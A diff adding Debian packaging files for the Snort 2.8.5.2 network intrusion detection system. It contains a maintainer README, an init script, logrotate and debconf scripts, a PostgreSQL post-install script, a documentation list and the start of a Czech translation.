--- snort-2.8.5.2.orig/debian/README.Maintainer
+++ snort-2.8.5.2/debian/README.Maintainer
@@ -0,0 +1,24 @@
+#
+# files modified outside the debian directory
+#
+snort-lib:
+	* Activated alert_syslog LOG_AUTH LOG_ALERT
+	* Activated output log_tcpdump snort.log # easier for logrotate
+	* Activated preprocessor defrag
+	* Commented out the HOME_NET variable - this will be set in
+	  snort-startup-script.
+	* Commented out the DNS_SERVER variable. What's the benefit?
+	* Added 'include local-first' as first include and
+	  'include local-last' as last include for user-specific
+          extensions.
+	* Commented out backdoor-lib completely. Too many false positives.
+	* Commented out ping-lib completely. Too many false positives.
+
+I commented out the following detections as they either generated too many
+false positives or generate too much noise for harmless things like 
+traceroutes or nmap fingerprint attempts. (marked by s/^/#debian#/)
+scan-lib:
+ "detect fingerprinting attempts"
+ "Windows Traceroutes"
+ "Standard Traceroutes"
+ "dst port 8080" # http proxy
--- snort-2.8.5.2.orig/debian/snort.init.d
+++ snort-2.8.5.2/debian/snort.init.d
@@ -0,0 +1,441 @@
+#!/bin/sh -e
+#
+# Init.d script for Snort in Debian
+#
+# Copyright (c) 2001 Christian Hammers 
+# Copyright (c) 2001-2002 Robert van der Meulen
+# Copyright (c) 2002-2004 Sander Smeenk <ssmeenk@debian.org>
+# Copyright (c) 2004-2007 Javier Fernandez-Sanguino <jfs@debian.org>
+#
+# This is free software; you may redistribute it and/or modify
+# it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2,
+# or (at your option) any later version.
+#
+# This is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License with
+# the Debian operating system, in /usr/share/common-licenses/GPL;  if
+# not, write to the Free Software Foundation, Inc., 59 Temple Place,
+# Suite 330, Boston, MA 02111-1307 USA
+#
+### BEGIN INIT INFO
+# Provides:          snort
+# Required-Start:    $time $network $local_fs
+# Required-Stop:     
+# Should-Start:      $syslog
+# Should-Stop:       
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Lightweight network intrusion detection system
+# Description:       Intrusion detection system that will
+#                    capture traffic from the network cards and will
+#                    match against a set of known attacks.
+### END INIT INFO
+
+PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+. /lib/lsb/init-functions
+
+
+CONFIG=/etc/snort/snort.debian.conf
+# Old (obsolete) way to provide parameters
+if [ -f /etc/snort/snort.common.parameters ] ; then
+	COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+	. /etc/default/snort
+	COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test -z "$DEBIAN_SNORT_HOME_NET" && DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+
+# to find the lib files
+cd /etc/snort
+
+running()
+{
+        PIDFILE=$1
+# No pidfile, probably no daemon present
+        [ ! -f "$PIDFILE" ] && return 1
+        pid=`cat $PIDFILE`
+# No pid, probably no daemon present
+        [ -z "$pid" ] && return 1
+        [ ! -d /proc/$pid ] &&  return 1
+        cmd=`cat /proc/$pid/cmdline | tr "\000" "\n"|head -n 1 |cut -d : -f 1`
+# No daemon
+        [ "$cmd" != "$DAEMON" ] &&  return 1
+        return 0
+}
+
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+	# If we cannot determine the logdir return without error
+	# (we will not check it)
+	# This will only be used by people using /etc/default/snort
+	[ -n "$LOGDIR" ] || return 0
+	[ -n "$SNORTUSER" ] || return 0
+	if [ ! -e "$LOGDIR" ] ; then
+		log_failure_msg "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	elif [ ! -d "$LOGDIR" ] ; then
+		log_failure_msg "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	else
+		real_log_user=`stat -c %U $LOGDIR`
+	# An alternative way is to check if the snort user can create 
+	# a file there...
+		if [ "$real_log_user" != "$SNORTUSER" ] ; then
+			log_failure_msg "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+			return 1
+		fi
+	fi
+	return 0
+}
+
+check_root()  {
+    if [ "$(id -u)" != "0" ]; then
+        log_failure_msg "You must be root to start, stop or restart $NAME."
+        exit 4
+    fi
+}
+
+case "$1" in
+  start)
+        check_root
+	log_daemon_msg "Starting $DESC " "$NAME"
+
+        if [ -e /etc/snort/db-pending-config ] ; then
+		log_failure_msg "/etc/snort/db-pending-config file found"
+		log_failure_msg "Snort will not start as its database is not yet configured."
+		log_failure_msg "Please configure the database as described in"
+		log_failure_msg "/usr/share/doc/snort-{pgsql,mysql}/README-database.Debian"
+		log_failure_msg "and remove /etc/snort/db-pending-config"
+		exit 6
+	fi
+
+        if ! check_log_dir; then
+		log_failure_msg " will not start $DESC!"
+		exit 5
+	fi
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-up.d/snort "$@"
+		ret=$?
+                if  [ $ret -eq 0 ] ; then
+                  log_end_msg 0
+                else
+                  log_end_msg 1
+                fi
+		exit $ret
+	fi
+
+	# Usually, we start all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+
+	# If we are requested to start a specific interface...
+	test "$2" && interfaces="$2"
+
+        # If the interfaces list is empty stop (no error)
+        if [ -z "$interfaces" ] ; then
+            log_progress_msg "no interfaces configured, will not start"
+            log_end_msg 0
+            exit 0
+        fi
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		log_progress_msg "($interface"
+
+                # Check if the interface is available:
+                # - only if iproute is available
+                # - the interface exists 
+                # - the interface is up
+                if ! [ -x /sbin/ip ] || ( ip link show dev "$interface" >/dev/null 2>&1 && [ -n "`ip link show up "$interface" 2>/dev/null`" ] ) ; then
+
+		PIDFILE=/var/run/snort_$interface.pid
+                CONFIGFILE=/etc/snort/snort.$interface.conf
+
+                # Defaults:
+		fail="failed (check /var/log/daemon.log, /var/log/syslog and /var/log/snort/)"
+                run="yes"
+
+                if [ -e "$PIDFILE" ] && running $PIDFILE; then
+                        run="no" 
+                        # Do not start this instance, it is already runing
+                fi
+
+                if [ "$run" = "yes" ] ; then
+                    if [ ! -e "$CONFIGFILE" ]; then
+                        log_progress_msg "using /etc/snort/snort.conf"
+                        CONFIGFILE=/etc/snort/snort.conf
+                    else
+                        log_progress_msg "using /etc/snort/snort.$interface.conf"
+                    fi
+
+                    set +e
+                    /sbin/start-stop-daemon --start --quiet  \
+                        --pidfile "$PIDFILE" \
+                        --exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+                        -c $CONFIGFILE \
+                        -S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+                        -i $interface >/dev/null
+                    ret=$?
+                    case "$ret" in
+			0)
+                                log_progress_msg  "...done)"
+				;;
+			*)
+				log_progress_msg "...ERROR: $fail)"
+				myret=$(expr "$myret" + 1)
+				;;
+                     esac
+                     set -e
+                else
+                        log_progress_msg "...already running)"
+                fi
+
+                else
+                # What to do if the interface is not available
+                # or is not up
+                        if [ "$ALLOW_UNAVAILABLE" != "no" ] ; then 
+                            log_progress_msg "...interface not available)"
+                        else 
+                            log_progress_msg "...ERROR: interface not available)"
+                            myret=$(expr "$myret" + 1)
+                        fi
+                fi
+	done
+
+	if [ "$got_instance" = 0 ] && [ "$ALLOW_UNAVAILABLE" = "no" ]; then
+		log_failure_msg "No snort instance found to be started!" >&2
+		exit 6
+	fi
+
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  stop)
+        check_root
+        log_daemon_msg "Stopping $DESC " "$NAME"
+    
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-down.d/snort "$@"
+		ret=$?
+                if  [ $ret -eq 0 ] ; then
+                    log_end_msg 0
+                else
+                  log_end_msg 1
+                fi
+		exit $ret
+	fi
+
+	# Usually, we stop all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to stop a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+        myret=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+
+		log_progress_msg "($interface"
+
+		set +e
+                if [ ! -e "$PIDFILE" -o -r "$PIDFILE" ] ; then
+# Change ownership of the pidfile
+		    /sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+                    ret=$?
+                    rm -f "$PIDFILE"
+                    rm -f "$PIDFILE.lck"
+                else
+                     log_progress_msg "cannot read $PIDFILE"
+                     ret=4
+                fi
+		case "$ret" in
+			0)
+                                log_progress_msg  "...done)"
+				;;
+			*)
+				log_progress_msg "...ERROR)"
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+                set -e
+
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		log_warning_msg "No running snort instance found"
+                exit 0 # LSB demands we don't exit with error here
+	fi
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  restart|force-restart|reload|force-reload)
+        check_root
+	# Usually, we restart all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to restart a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+		$0 stop $interface || true
+		$0 start $interface || true
+	done
+
+        # If we did not find any instance of Snort then we restart all
+	if [ "$got_instance" = 0 ]; then
+                $0 start
+	fi
+	;;
+  status)
+# Non-root users can use this (if allowed to)
+        log_daemon_msg "Status of snort daemon(s)"
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# If we are requested to check for a specific interface...
+	test "$2" && interfaces="$2"
+        err=0
+        pid=0
+	for interface in $interfaces; do
+                log_progress_msg " $interface "
+                pidfile=/var/run/snort_$interface.pid
+                if [ -f  "$pidfile" ] ; then
+                        if [ -r "$pidfile" ] ; then
+                            pidval=`cat $pidfile`
+                            pid=$(expr "$pid" + 1)
+                            if ps -p $pidval | grep -q snort; then
+                                log_progress_msg "OK"
+                            else
+				log_progress_msg "ERROR"
+				err=$(expr "$err" + 1)
+			    fi
+                         else
+	       		     log_progress_msg "ERROR: cannot read status file"
+                             err=$(expr "$err" + 1)
+                         fi
+                 else
+                       log_progress_msg "ERROR"
+                       err=$(expr "$err" + 1)
+                 fi
+        done
+        if [ $err -ne 0 ] ; then
+            if [ $pid -ne 0 ] ; then
+# More than one case where pidfile exists but no snort daemon
+# LSB demands a '1' exit value here
+                log_end_msg  1
+                exit 1
+            else
+# No pidfiles at all
+# LSB demands a '3' exit value here
+                log_end_msg  3
+                exit 3
+            fi
+        fi
+        log_end_msg  0
+        ;;
+  config-check)
+        log_daemon_msg "Checking $DESC configuration" 
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		log_failure_msg "Config-check is currently not supported for snort in Dialup configuration"
+                log_end_msg  3
+                exit 3
+	fi
+
+	# usually, we test all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# if we are requested to test a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		log_progress_msg "interface $interface"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			CONFIGFILE=/etc/snort/snort.conf
+		fi
+		COMMON=`echo $COMMON | sed -e 's/-D//'`
+		set +e
+                fail="INVALID"
+		if [ -r "$CONFIGFILE" ]; then
+                    $DAEMON -T $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null 2>&1
+                    ret=$?
+                else
+                    fail="cannot read $CONFIGFILE"
+                    ret=4
+                fi
+		set -e
+
+		case "$ret" in
+			0)
+                                log_progress_msg "OK"
+				;;
+			*)
+                                log_progress_msg "$fail"
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+	if [ "$got_instance" = 0 ]; then
+		log_failure_msg "no snort instance found to be started!" >&2
+		exit 6
+	fi
+
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  *)
+	echo "Usage: $0 {start|stop|restart|force-restart|reload|force-reload|status|config-check}"
+	exit 1
+	;;
+esac
+exit 0
--- snort-2.8.5.2.orig/debian/snort-inline.logrotate
+++ snort-2.8.5.2/debian/snort-inline.logrotate
@@ -0,0 +1,12 @@
+/var/log/snort/portscan.log /var/log/snort/alert /var/log/snort/portscan2.log {
+    daily
+    rotate 7
+    compress
+    missingok
+    notifempty
+    create 0640 snort adm
+    sharedscripts
+    postrotate
+        /etc/init.d/snort restart > /dev/null 2>&1
+    endscript
+}
--- snort-2.8.5.2.orig/debian/clean_sources.sh
+++ snort-2.8.5.2/debian/clean_sources.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Clean the sources
+make distclean
+# TODO: Consider adjusting SUBDIRS, so we do not remove the 
+# doc dir
+# Make sure the sources are removed (in case somebody removed the
+# main Makefile but did not distclean)
+(cd src &&  test -e Makefile && make distclean)
+
+# Remove the flag that indicated that the sources were configured
+rm -f configure-stamp
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-doc.docs
+++ snort-2.8.5.2/debian/snort-doc.docs
@@ -0,0 +1,50 @@
+debian/README.docs
+doc/NEWS
+doc/PROBLEMS
+doc/snort_schema_v106.pdf
+doc/snort_manual.pdf
+doc/faq.pdf
+doc/TODO
+doc/USAGE
+doc/WISHLIST
+debian/my/lisapaper.txt
+doc/README
+doc/README.alert_order
+doc/README.ARUBA
+doc/README.asn1
+doc/README.csv
+doc/README.database
+doc/README.dcerpc
+doc/README.dcerpc2
+doc/README.decode
+doc/README.decoder_preproc_rules
+doc/README.dns
+doc/README.event_queue
+doc/README.FLEXRESP
+doc/README.FLEXRESP2
+doc/README.flowbits
+doc/README.frag3
+doc/README.ftptelnet
+doc/README.gre
+doc/README.http_inspect
+doc/README.INLINE
+doc/README.ipip
+doc/README.ipv6
+doc/README.pcap_readmode
+doc/README.PerfProfiling
+doc/README.PLUGINS
+doc/README.ppm
+doc/README.sfportscan
+doc/README.SMTP
+doc/README.ssh
+doc/README.ssl
+doc/README.stream5
+doc/README.tag
+doc/README.thresholding
+doc/README.UNSOCK
+doc/README.variables
+doc/README.wireless
+doc/RELEASE.NOTES.2.3
+doc/RELEASE.NOTES.2.4
+doc/RELEASE.NOTES.2.6
+doc/RELEASE.NOTES.2.7
--- snort-2.8.5.2.orig/debian/snort-common.examples
+++ snort-2.8.5.2/debian/snort-common.examples
@@ -0,0 +1 @@
+debian/my/snort_rules_update
--- snort-2.8.5.2.orig/debian/snort-pgsql.postinst
+++ snort-2.8.5.2/debian/snort-pgsql.postinst
@@ -0,0 +1,261 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-pgsql/startup || true
+	if [ "$RET" = "manual" ]; then
+		#db_fset snort-pgsql/please_restart_manually seen false
+		db_beginblock
+		db_input high snort-pgsql/please_restart_manually || true
+		db_endblock
+		db_go
+		db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-pgsql/startup || true; 		STARTUP=$RET
+	db_get snort-pgsql/interface || true; 	INTERFACE="$RET"
+	db_get snort-pgsql/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-pgsql/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+        db_get snort-pgsql/send_stats || true;        STATS_SEND="$RET"
+	db_get snort-pgsql/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-pgsql/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-pgsql/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	#STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+        if [ -e /etc/snort/db-pending-config ] ; then
+	  STARTUP="manual"
+	  echo
+	  echo "/etc/snort/db-pending-config file found"
+	  echo "Snort will not start as its database is not yet configured."
+	  echo "Please configure the database as described in"
+	  echo "/usr/share/doc/snort-pgsql/README-database.Debian"
+	  echo "and then remove /etc/snort/db-pending-config"
+	fi
+
+        if [ "$STARTUP" != "manual" ]; then
+	  if [ -f /etc/snort/snort.conf ]; then
+		# insert database config stuff in the configuration file,
+		# or configure it for syslog-logging.
+		db_get snort-pgsql/configure_db
+		if  [ "$RET" = "true" ]; then
+			db_get snort-pgsql/db_host || true; DB_HOST=$RET
+			db_get snort-pgsql/db_database || true; DB_DATABASE=$RET
+			db_get snort-pgsql/db_user || true; DB_USER=$RET
+			db_get snort-pgsql/db_pass || true; DB_PASS=$RET
+
+			# Here we put the database stuff in the config file.
+			TEMPFILE=`mktemp`
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ "$LINE" = "# (#DBSTART#)" ]
+				then
+					echo "# (#DBSTART#)" >> $TEMPFILE
+					echo -n "output database: log, postgresql, " >> $TEMPFILE
+					if [ $DB_USER ]
+					then
+						echo -n "user=$DB_USER " >> $TEMPFILE
+					fi
+					if [ $DB_PASS ]
+					then
+						echo -n "password=$DB_PASS " >> $TEMPFILE
+					fi
+					if [ $DB_DATABASE ]
+					then
+						echo -n "dbname=$DB_DATABASE " >> $TEMPFILE
+					fi
+					if [ $DB_HOST ]
+					then
+						echo -n "host=$DB_HOST " >> $TEMPFILE
+					fi
+					echo " " >> $TEMPFILE
+					echo "# (#DBEND#)" >> $TEMPFILE
+					break
+				else
+					echo $LINE >> $TEMPFILE
+				fi
+			done
+
+			WRITE=0
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ $WRITE -eq 1 ]
+				then
+					echo $LINE >> $TEMPFILE
+				fi
+
+				if [ "$LINE" = "# (#DBEND#)" ]
+				then
+					WRITE=1
+				fi
+			done
+			mv -f $TEMPFILE /etc/snort/snort.conf
+		fi
+
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	  fi
+	fi
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |
+			awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE |
+			awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort.config
+++ snort-2.8.5.2/debian/snort.config
@@ -0,0 +1,118 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+	      if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+		      return 1
+	     fi
+      done
+      return 0
+}
+
+db_input low snort/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort is called with interface and IP number
+db_get snort/startup
+if [ "x$RET" = "xdialup" ]; then
+  db_set snort/interface ""
+  db_set snort/address_range ""
+  db_set snort/disable_promiscuous true
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+  	INTERFACES=eth0
+  else 
+  	INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+	if ! check_interfaces
+	then
+	    priority='high'
+	    db_fset snort/interface seen false 
+	fi
+	set +e
+	db_input $priority snort/interface
+        if [ $? -eq 30 ]; then
+	# User is not being shown the question, break out
+	     break
+	fi
+	set -e
+	db_go || true
+   # Check the interfaces
+	db_get snort/interface
+	INTERFACES=$RET
+	if ! check_interfaces ; then
+	  db_fset snort/invalid_interface seen false 
+	  db_input critical snort/invalid_interface
+	else
+	  ok='yes'
+        fi
+	# Increment the count, we only go through this two times
+	count=$(($count+1))
+  done
+
+  db_input high snort/address_range || true
+  db_input low snort/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort/send_stats || true
+db_go
+
+db_get snort/send_stats
+if [ "x$RET" = "xtrue" ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort/stats_rcpt || true
+	db_input low snort/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+	db_beginblock
+	db_input high snort/config_parameters || true
+	db_endblock
+	db_go
+fi
+
+db_get snort/startup
+if [ "x$RET" = "xmanual" ]; then
+	db_beginblock
+	db_input medium snort/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.8.5.2.orig/debian/po/cs.po
+++ snort-2.8.5.2/debian/po/cs.po
@@ -0,0 +1,814 @@
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+#    Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 12:13+0200\n"
+"Last-Translator: Jan Outrata <outrata@pharaoh.inf.upol.cz>\n"
+"Language-Team: Czech <debian-l10n-czech@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "boot"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dialup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuálně"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Způsob spuštění Snortu:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort může být spuštěn během startu systému (boot), při připojování k síti "
+"pomocí pppd (dialup) nebo jen když jej spustíte ru�ně přes /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
